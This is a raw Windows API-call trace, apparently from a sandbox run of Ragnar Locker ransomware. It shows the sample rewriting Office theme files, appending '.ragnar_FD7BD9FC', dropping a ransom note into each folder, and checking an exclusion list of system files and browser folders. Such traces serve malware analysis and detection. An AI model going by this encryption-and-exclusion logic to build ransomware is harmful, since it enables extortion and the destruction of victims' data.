VirtualAlloc (lpAddress=0x0, dwSize=0x79f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.226] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.226] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.226] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x79f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x79f8, lpOverlapped=0x0) returned 1 [0094.227] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.227] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.228] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x79f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x79f8, lpOverlapped=0x0) returned 1 [0094.228] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.228] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x79f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.228] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.228] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.228] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.228] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.228] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.228] GetProcessHeap () returned 0x580000 [0094.228] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.228] CloseHandle (hObject=0x98) returned 1 [0094.229] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" [0094.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.ragnar_FD7BD9FC" [0094.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.229] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0094.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.229] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Waveform.eftx" | out: lpString1="Waveform.eftx") returned="Waveform.eftx" [0094.229] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned=".eftx" [0094.229] lstrcmpiW (lpString1="Waveform.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.229] lstrcmpiW (lpString1="Waveform.eftx", lpString2="autorun.inf") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="boot.ini") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="bootfont.bin") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="bootsect.bak") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="bootmgr") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="bootmgr.efi") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="bootmgfw.efi") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="desktop.ini") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="iconcache.db") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="ntldr") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="ntuser.dat") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="ntuser.dat.log") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="ntuser.ini") returned 1 [0094.230] lstrcmpiW (lpString1="Waveform.eftx", lpString2="thumbs.db") returned 1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.230] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0094.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.231] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=112504) returned 1 [0094.231] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1b76f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.231] GetProcessHeap () returned 0x580000 [0094.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.231] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.233] VirtualAlloc (lpAddress=0x0, dwSize=0x1b778, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.233] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.233] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.233] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b778, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b778, lpOverlapped=0x0) returned 1 [0094.237] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.238] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b778, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.238] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b778, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b778, lpOverlapped=0x0) returned 1 [0094.238] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b778, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.238] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.239] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1b778, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.239] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.239] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.239] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.239] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.239] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.239] GetProcessHeap () returned 0x580000 [0094.239] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.239] CloseHandle (hObject=0x98) returned 1 [0094.239] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" [0094.239] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.ragnar_FD7BD9FC" [0094.240] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.240] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0094.240] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0094.240] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2=".") returned 1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2="..") returned 1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2="Windows") returned -1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2="Windows.old") returned -1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2="Tor browser") returned -1 [0094.240] lstrcmpiW (lpString1="Theme Fonts", lpString2="Internet Explorer") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="Google") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="Opera") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="Opera Software") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="Mozilla") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="Mozilla Firefox") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="$Recycle.Bin") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="ProgramData") returned 1 [0094.241] lstrcmpiW (lpString1="Theme Fonts", lpString2="All Users") returned 1 [0094.241] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.241] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Theme Fonts" | out: lpString1="Theme Fonts") returned="Theme Fonts" [0094.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0094.241] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0094.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\RGNR_FD7BD9FC.txt" [0094.241] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0094.245] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*" [0094.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.245] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0094.245] lstrcpyW (in: lpString1=0x1eb236, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0094.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a69f0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0094.246] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a69f0a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0094.246] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Adjacency.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="Angles.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Angles.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="Apex.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Apex.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0094.246] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Apothecary.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="Aspect.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Aspect.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="Austin.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Austin.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0094.246] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Black Tie.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0094.246] lstrcmpiW (lpString1="Civic.xml", lpString2=".") returned 1 [0094.246] lstrcmpiW (lpString1="Civic.xml", lpString2="..") returned 1 [0094.246] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0094.247] lstrcmpiW (lpString1="Clarity.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Clarity.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0094.247] lstrcmpiW (lpString1="Composite.xml", lpString2=".") returned 1 [0094.247] lstrcmpiW (lpString1="Composite.xml", lpString2="..") returned 1 [0094.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 